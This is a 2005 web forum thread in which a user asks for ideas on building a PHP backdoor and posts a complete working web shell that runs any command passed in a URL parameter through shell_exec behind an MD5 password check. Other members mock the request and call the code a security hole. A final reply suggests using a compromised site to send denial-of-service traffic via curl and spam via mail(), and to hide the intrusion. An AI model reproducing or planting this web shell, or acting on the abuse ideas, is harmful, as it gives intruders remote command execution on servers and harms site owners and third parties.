Page 1 of 1

PHP Backdoor

Posted: Mon Mar 07, 2005 4:22 pm
by php_hacker
Hello guys,

I know some member may not support this topic, but i would like to know your suggestions about the project of making a PHP Backdoor.

I would like to know your techniques and ideas about this Backdoor just for knowledge.

I am also against such kind of things but sharing knowledge may protect us from future attacks.

Posted: Mon Mar 07, 2005 4:23 pm
by php_hacker
This is a sample of backdoor, but it need shell access enabled.
So webmasters having shared account will not have any problem..

Code: Select all

<?php 
echo "<html>\n<head>\n<title>Don't let BWall find you using this.</title>\n"; 
$b = $_GET["cmd"]; 
$pass = $_GET["pwd"]; 
$optpre = $_GET["pre"]; 
if (MD5($pass) == "2ffe4e77321d9a7152f7016ea7aa5114") 
{ 
    echo "</head>\n<body bgColor=#000000 text=#FF0000>"; 
    if ($optpre == "yes") 
    { 
        $output = shell_exec($b); 
        echo "<pre>$output</pre>";         
    }else 
    {     
        $output = shell_exec($b); 
        echo "$output";     
    } 

}else 
{ 
    echo "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0; URL=http://\">\n"; 
    echo "</head>\n<body bgColor=#000000 text=#FF0000>"; 
} 

?> 
</body> 
</html>
I found this one long time back, but there maybe some backdoors which may run without shell access.

Posted: Mon Mar 07, 2005 4:36 pm
by Chris Corbyn
Hmmm.... I'm looking at your username... then at the question... then at your username..... :lol: :lol:

This probably more of a question for the PHP Security forum on this site but whether or not anybody will answer I dont know.

I think some guys will be a bit reluctant to answer this... it may well even be removed depending upon how the thread progresses 8O

Posted: Mon Mar 07, 2005 5:20 pm
by feyd
considering the security hole that makes without any validation or verification (really) .. I'd say really really really bad.

Moved to Security.

Posted: Mon Mar 07, 2005 9:00 pm
by d3ad1ysp0rk
Who would allow users to send SHELL commands through the URL?

So far, I haven't found much of a need for shell commands at all in PHP. Most things can be done with PHP built in functions..

I wouldn't really call this a backdoor as much as a bad programmer.

Posted: Mon Mar 07, 2005 11:15 pm
by php_hacker
This PHP backdoor is useless stuff man.
It was just an idea to share my thoughts though.

Posted: Wed Mar 09, 2005 9:37 pm
by Ambush Commander
You're probably going to need shell access to do any real damage.

Although you could probably set up a DOS script using Curl or something if each script refers back to a configuration file (then whenever someone accesses the page, they send a hit somewhere.

What you could also do is abuse their mail() function, sending spam with a similar method.

A backdoor... that's going to be difficult though. Better off making it seem like you never got in at all. If you got in the first place, it's probably because of a bad password or something.